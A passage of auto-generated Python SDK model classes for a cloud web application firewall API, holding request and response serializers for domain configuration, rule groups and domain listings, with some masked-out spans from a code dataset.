self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionRuleStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionRuleStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionRuleStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass SetDomainRuleGroupRequest(TeaModel):\n\n def __init__(self, domains=None, rule_group_id=None, waf_version=None,\n instance_id=None, resource_group_id=None):\n self.domains = domains\n self.rule_group_id = rule_group_id\n self.waf_version = waf_version\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(SetDomainRuleGroupRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domains is not None:\n result['Domains'] = self.domains\n if self.rule_group_id is not None:\n result['RuleGroupId'] = self.rule_group_id\n if self.waf_version is not None:\n result['WafVersion'] = self.waf_version\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domains') is not None:\n self.domains = m.get('Domains')\n if m.get('RuleGroupId') is not None:\n self.rule_group_id = m.get('RuleGroupId')\n if m.get('WafVersion') is not None:\n self.waf_version = m.get('WafVersion')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass SetDomainRuleGroupResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(SetDomainRuleGroupResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass SetDomainRuleGroupResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(SetDomainRuleGroupResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = SetDomainRuleGroupResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n", "step-2": "<mask token>\n\n\nclass DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs(\n TeaModel):\n\n def __init__(self, protocol=None, ports=None):\n self.protocol = protocol\n self.ports = ports\n\n def validate(self):\n pass\n <mask token>\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Protocol') is not None:\n self.protocol = m.get('Protocol')\n if m.get('Ports') is not None:\n self.ports = m.get('Ports')\n return self\n\n\nclass DescribeDomainResponseBodyDomainCloudNativeInstances(TeaModel):\n\n def __init__(self, protocol_port_configs=None, redirection_type_name=\n None, cloud_native_product_name=None, instance_id=None,\n ipaddress_list=None):\n self.protocol_port_configs = protocol_port_configs\n self.redirection_type_name = redirection_type_name\n self.cloud_native_product_name = cloud_native_product_name\n self.instance_id = instance_id\n self.ipaddress_list = ipaddress_list\n\n def validate(self):\n if self.protocol_port_configs:\n for k in self.protocol_port_configs:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponseBodyDomainCloudNativeInstances, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n result['ProtocolPortConfigs'] = []\n if self.protocol_port_configs is not None:\n for k in self.protocol_port_configs:\n result['ProtocolPortConfigs'].append(k.to_map() if k else None)\n if self.redirection_type_name is not None:\n result['RedirectionTypeName'] = self.redirection_type_name\n if self.cloud_native_product_name is not None:\n result['CloudNativeProductName'] = self.cloud_native_product_name\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.ipaddress_list is not None:\n result['IPAddressList'] = self.ipaddress_list\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n self.protocol_port_configs = []\n if m.get('ProtocolPortConfigs') is not None:\n for k in m.get('ProtocolPortConfigs'):\n temp_model = (\n DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs\n ())\n self.protocol_port_configs.append(temp_model.from_map(k))\n if m.get('RedirectionTypeName') is not None:\n self.redirection_type_name = m.get('RedirectionTypeName')\n if m.get('CloudNativeProductName') is not None:\n self.cloud_native_product_name = m.get('CloudNativeProductName')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('IPAddressList') is not None:\n self.ipaddress_list = m.get('IPAddressList')\n return self\n\n\nclass DescribeDomainResponseBodyDomainLogHeaders(TeaModel):\n\n def __init__(self, k=None, v=None):\n self.k = k\n self.v = v\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainResponseBodyDomainLogHeaders, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.k is not None:\n result['k'] = self.k\n if self.v is not None:\n result['v'] = self.v\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('k') is not None:\n self.k = m.get('k')\n if m.get('v') is not None:\n self.v = m.get('v')\n return self\n\n\nclass DescribeDomainResponseBodyDomain(TeaModel):\n\n def __init__(self, http_2port=None, cloud_native_instances=None,\n http_to_user_ip=None, http_port=None, log_headers=None,\n is_access_product=None, access_headers=None, access_header_mode=\n None, https_redirect=None, load_balancing=None, ip_follow_status=\n None, access_type=None, version=None, cluster_type=None, read_time=\n None, write_time=None, resource_group_id=None, cname=None,\n source_ips=None, connection_time=None, https_port=None):\n self.http_2port = http_2port\n self.cloud_native_instances = cloud_native_instances\n self.http_to_user_ip = http_to_user_ip\n self.http_port = http_port\n self.log_headers = log_headers\n self.is_access_product = is_access_product\n self.access_headers = access_headers\n self.access_header_mode = access_header_mode\n self.https_redirect = https_redirect\n self.load_balancing = load_balancing\n self.ip_follow_status = ip_follow_status\n self.access_type = access_type\n self.version = version\n self.cluster_type = cluster_type\n self.read_time = read_time\n self.write_time = write_time\n self.resource_group_id = resource_group_id\n self.cname = cname\n self.source_ips = source_ips\n self.connection_time = connection_time\n self.https_port = https_port\n\n def validate(self):\n if self.cloud_native_instances:\n for k in self.cloud_native_instances:\n if k:\n k.validate()\n if self.log_headers:\n for k in self.log_headers:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponseBodyDomain, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.http_2port is not None:\n result['Http2Port'] = self.http_2port\n result['CloudNativeInstances'] = []\n if self.cloud_native_instances is not None:\n for k in self.cloud_native_instances:\n result['CloudNativeInstances'].append(k.to_map() if k else None\n )\n if self.http_to_user_ip is not None:\n result['HttpToUserIp'] = self.http_to_user_ip\n if self.http_port is not None:\n result['HttpPort'] = self.http_port\n result['LogHeaders'] = []\n if self.log_headers is not None:\n for k in self.log_headers:\n result['LogHeaders'].append(k.to_map() if k else None)\n if self.is_access_product is not None:\n result['IsAccessProduct'] = self.is_access_product\n if self.access_headers is not None:\n result['AccessHeaders'] = self.access_headers\n if self.access_header_mode is not None:\n result['AccessHeaderMode'] = self.access_header_mode\n if self.https_redirect is not None:\n result['HttpsRedirect'] = self.https_redirect\n if self.load_balancing is not None:\n result['LoadBalancing'] = self.load_balancing\n if self.ip_follow_status is not None:\n result['IpFollowStatus'] = self.ip_follow_status\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.version is not None:\n result['Version'] = self.version\n if self.cluster_type is not None:\n result['ClusterType'] = self.cluster_type\n if self.read_time is not None:\n result['ReadTime'] = self.read_time\n if self.write_time is not None:\n result['WriteTime'] = self.write_time\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n if self.cname is not None:\n result['Cname'] = self.cname\n if self.source_ips is not None:\n result['SourceIps'] = self.source_ips\n if self.connection_time is not None:\n result['ConnectionTime'] = self.connection_time\n if self.https_port is not None:\n result['HttpsPort'] = self.https_port\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Http2Port') is not None:\n self.http_2port = m.get('Http2Port')\n self.cloud_native_instances = []\n if m.get('CloudNativeInstances') is not None:\n for k in m.get('CloudNativeInstances'):\n temp_model = (\n DescribeDomainResponseBodyDomainCloudNativeInstances())\n self.cloud_native_instances.append(temp_model.from_map(k))\n if m.get('HttpToUserIp') is not None:\n self.http_to_user_ip = m.get('HttpToUserIp')\n if m.get('HttpPort') is not None:\n self.http_port = m.get('HttpPort')\n self.log_headers = []\n if m.get('LogHeaders') is not None:\n for k in m.get('LogHeaders'):\n temp_model = DescribeDomainResponseBodyDomainLogHeaders()\n self.log_headers.append(temp_model.from_map(k))\n if m.get('IsAccessProduct') is not None:\n self.is_access_product = m.get('IsAccessProduct')\n if m.get('AccessHeaders') is not None:\n self.access_headers = m.get('AccessHeaders')\n if m.get('AccessHeaderMode') is not None:\n self.access_header_mode = m.get('AccessHeaderMode')\n if m.get('HttpsRedirect') is not None:\n self.https_redirect = m.get('HttpsRedirect')\n if m.get('LoadBalancing') is not None:\n self.load_balancing = m.get('LoadBalancing')\n if m.get('IpFollowStatus') is not None:\n self.ip_follow_status = m.get('IpFollowStatus')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('ClusterType') is not None:\n self.cluster_type = m.get('ClusterType')\n if m.get('ReadTime') is not None:\n self.read_time = m.get('ReadTime')\n if m.get('WriteTime') is not None:\n self.write_time = m.get('WriteTime')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n if m.get('Cname') is not None:\n self.cname = m.get('Cname')\n if m.get('SourceIps') is not None:\n self.source_ips = m.get('SourceIps')\n if m.get('ConnectionTime') is not None:\n self.connection_time = m.get('ConnectionTime')\n if m.get('HttpsPort') is not None:\n self.https_port = m.get('HttpsPort')\n return self\n\n\nclass DescribeDomainResponseBody(TeaModel):\n\n def __init__(self, request_id=None, domain=None):\n self.request_id = request_id\n self.domain = domain\n\n def validate(self):\n if self.domain:\n self.domain.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.domain is not None:\n result['Domain'] = self.domain.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('Domain') is not None:\n temp_model = DescribeDomainResponseBodyDomain()\n self.domain = temp_model.from_map(m['Domain'])\n return self\n\n\nclass DescribeDomainResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainAdvanceConfigsRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain_list=None,\n resource_group_id=None):\n self.instance_id = instance_id\n self.domain_list = domain_list\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain_list is not None:\n result['DomainList'] = self.domain_list\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('DomainList') is not None:\n self.domain_list = m.get('DomainList')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile(TeaModel):\n\n def __init__(self, http_2port=None, ipv_6status=None, http_port=None,\n gslbstatus=None, rs=None, vip_service_status=None, cluster_type=\n None, exclusive_vip_status=None, cname=None, cert_status=None,\n https_port=None, resolved_type=None):\n self.http_2port = http_2port\n self.ipv_6status = ipv_6status\n self.http_port = http_port\n self.gslbstatus = gslbstatus\n self.rs = rs\n self.vip_service_status = vip_service_status\n self.cluster_type = cluster_type\n self.exclusive_vip_status = exclusive_vip_status\n self.cname = cname\n self.cert_status = cert_status\n self.https_port = https_port\n self.resolved_type = resolved_type\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(\n DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.http_2port is not None:\n result['Http2Port'] = self.http_2port\n if self.ipv_6status is not None:\n result['Ipv6Status'] = self.ipv_6status\n if self.http_port is not None:\n result['HttpPort'] = self.http_port\n if self.gslbstatus is not None:\n result['GSLBStatus'] = self.gslbstatus\n if self.rs is not None:\n result['Rs'] = self.rs\n if self.vip_service_status is not None:\n result['VipServiceStatus'] = self.vip_service_status\n if self.cluster_type is not None:\n result['ClusterType'] = self.cluster_type\n if self.exclusive_vip_status is not None:\n result['ExclusiveVipStatus'] = self.exclusive_vip_status\n if self.cname is not None:\n result['Cname'] = self.cname\n if self.cert_status is not None:\n result['CertStatus'] = self.cert_status\n if self.https_port is not None:\n result['HttpsPort'] = self.https_port\n if self.resolved_type is not None:\n result['ResolvedType'] = self.resolved_type\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Http2Port') is not None:\n self.http_2port = m.get('Http2Port')\n if m.get('Ipv6Status') is not None:\n self.ipv_6status = m.get('Ipv6Status')\n if m.get('HttpPort') is not None:\n self.http_port = m.get('HttpPort')\n if m.get('GSLBStatus') is not None:\n self.gslbstatus = m.get('GSLBStatus')\n if m.get('Rs') is not None:\n self.rs = m.get('Rs')\n if m.get('VipServiceStatus') is not None:\n self.vip_service_status = m.get('VipServiceStatus')\n if m.get('ClusterType') is not None:\n self.cluster_type = m.get('ClusterType')\n if m.get('ExclusiveVipStatus') is not None:\n self.exclusive_vip_status = m.get('ExclusiveVipStatus')\n if m.get('Cname') is not None:\n self.cname = m.get('Cname')\n if m.get('CertStatus') is not None:\n self.cert_status = m.get('CertStatus')\n if m.get('HttpsPort') is not None:\n self.https_port = m.get('HttpsPort')\n if m.get('ResolvedType') is not None:\n self.resolved_type = m.get('ResolvedType')\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponseBodyDomainConfigs(TeaModel):\n\n def __init__(self, profile=None, domain=None):\n self.profile = profile\n self.domain = domain\n\n def validate(self):\n if self.profile:\n self.profile.validate()\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsResponseBodyDomainConfigs,\n self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.profile is not None:\n result['Profile'] = self.profile.to_map()\n if self.domain is not None:\n result['Domain'] = self.domain\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Profile') is not None:\n temp_model = (\n DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile())\n self.profile = temp_model.from_map(m['Profile'])\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponseBody(TeaModel):\n\n def __init__(self, request_id=None, domain_configs=None):\n self.request_id = request_id\n self.domain_configs = domain_configs\n\n def validate(self):\n if self.domain_configs:\n for k in self.domain_configs:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['DomainConfigs'] = []\n if self.domain_configs is not None:\n for k in self.domain_configs:\n result['DomainConfigs'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.domain_configs = []\n if m.get('DomainConfigs') is not None:\n for k in m.get('DomainConfigs'):\n temp_model = (\n DescribeDomainAdvanceConfigsResponseBodyDomainConfigs())\n self.domain_configs.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainAdvanceConfigsResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainBasicConfigsRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain_key=None, access_type=None,\n cloud_native_product_id=None, page_number=None, page_size=None,\n resource_group_id=None):\n self.instance_id = instance_id\n self.domain_key = domain_key\n self.access_type = access_type\n self.cloud_native_product_id = cloud_native_product_id\n self.page_number = page_number\n self.page_size = page_size\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain_key is not None:\n result['DomainKey'] = self.domain_key\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.cloud_native_product_id is not None:\n result['CloudNativeProductId'] = self.cloud_native_product_id\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('DomainKey') is not None:\n self.domain_key = m.get('DomainKey')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('CloudNativeProductId') is not None:\n self.cloud_native_product_id = m.get('CloudNativeProductId')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeDomainBasicConfigsResponseBodyDomainConfigs(TeaModel):\n\n def __init__(self, status=None, domain=None, owner=None, cc_mode=None,\n cc_status=None, access_type=None, version=None, acl_status=None,\n waf_status=None, waf_mode=None):\n self.status = status\n self.domain = domain\n self.owner = owner\n self.cc_mode = cc_mode\n self.cc_status = cc_status\n self.access_type = access_type\n self.version = version\n self.acl_status = acl_status\n self.waf_status = waf_status\n self.waf_mode = waf_mode\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsResponseBodyDomainConfigs, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.owner is not None:\n result['Owner'] = self.owner\n if self.cc_mode is not None:\n result['CcMode'] = self.cc_mode\n if self.cc_status is not None:\n result['CcStatus'] = self.cc_status\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.version is not None:\n result['Version'] = self.version\n if self.acl_status is not None:\n result['AclStatus'] = self.acl_status\n if self.waf_status is not None:\n result['WafStatus'] = self.waf_status\n if self.waf_mode is not None:\n result['WafMode'] = self.waf_mode\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Owner') is not None:\n self.owner = m.get('Owner')\n if m.get('CcMode') is not None:\n self.cc_mode = m.get('CcMode')\n if m.get('CcStatus') is not None:\n self.cc_status = m.get('CcStatus')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('AclStatus') is not None:\n self.acl_status = m.get('AclStatus')\n if m.get('WafStatus') is not None:\n self.waf_status = m.get('WafStatus')\n if m.get('WafMode') is not None:\n self.waf_mode = m.get('WafMode')\n return self\n\n\nclass DescribeDomainBasicConfigsResponseBody(TeaModel):\n\n def __init__(self, total_count=None, request_id=None, domain_configs=None):\n self.total_count = total_count\n self.request_id = request_id\n self.domain_configs = domain_configs\n\n def validate(self):\n if self.domain_configs:\n for k in self.domain_configs:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['DomainConfigs'] = []\n if self.domain_configs is not None:\n for k in self.domain_configs:\n result['DomainConfigs'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.domain_configs = []\n if m.get('DomainConfigs') is not None:\n for k in m.get('DomainConfigs'):\n temp_model = (\n DescribeDomainBasicConfigsResponseBodyDomainConfigs())\n self.domain_configs.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeDomainBasicConfigsResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainBasicConfigsResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainListRequest(TeaModel):\n\n def __init__(self, resource_group_id=None, instance_id=None,\n domain_name=None, page_number=None, page_size=None, is_sub=None,\n domain_names=None):\n self.resource_group_id = resource_group_id\n self.instance_id = instance_id\n self.domain_name = domain_name\n self.page_number = page_number\n self.page_size = page_size\n self.is_sub = is_sub\n self.domain_names = domain_names\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainListRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain_name is not None:\n result['DomainName'] = self.domain_name\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.is_sub is not None:\n result['IsSub'] = self.is_sub\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('DomainName') is not None:\n self.domain_name = m.get('DomainName')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('IsSub') is not None:\n self.is_sub = m.get('IsSub')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeDomainListResponseBody(TeaModel):\n\n def __init__(self, total_count=None, request_id=None, domain_names=None):\n self.total_count = total_count\n self.request_id = request_id\n self.domain_names = domain_names\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainListResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeDomainListResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainListResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainListResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainNamesRequest(TeaModel):\n\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainNamesRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeDomainNamesResponseBody(TeaModel):\n\n def __init__(self, request_id=None, domain_names=None):\n self.request_id = request_id\n self.domain_names = domain_names\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainNamesResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeDomainNamesResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainNamesResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainNamesResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainRuleGroupRequest(TeaModel):\n\n def __init__(self, domain=None, instance_id=None):\n self.domain = domain\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainRuleGroupRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass DescribeDomainRuleGroupResponseBody(TeaModel):\n\n def __init__(self, rule_group_id=None, request_id=None):\n self.rule_group_id = rule_group_id\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainRuleGroupResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.rule_group_id is not None:\n result['RuleGroupId'] = self.rule_group_id\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RuleGroupId') is not None:\n self.rule_group_id = m.get('RuleGroupId')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass DescribeDomainRuleGroupResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n 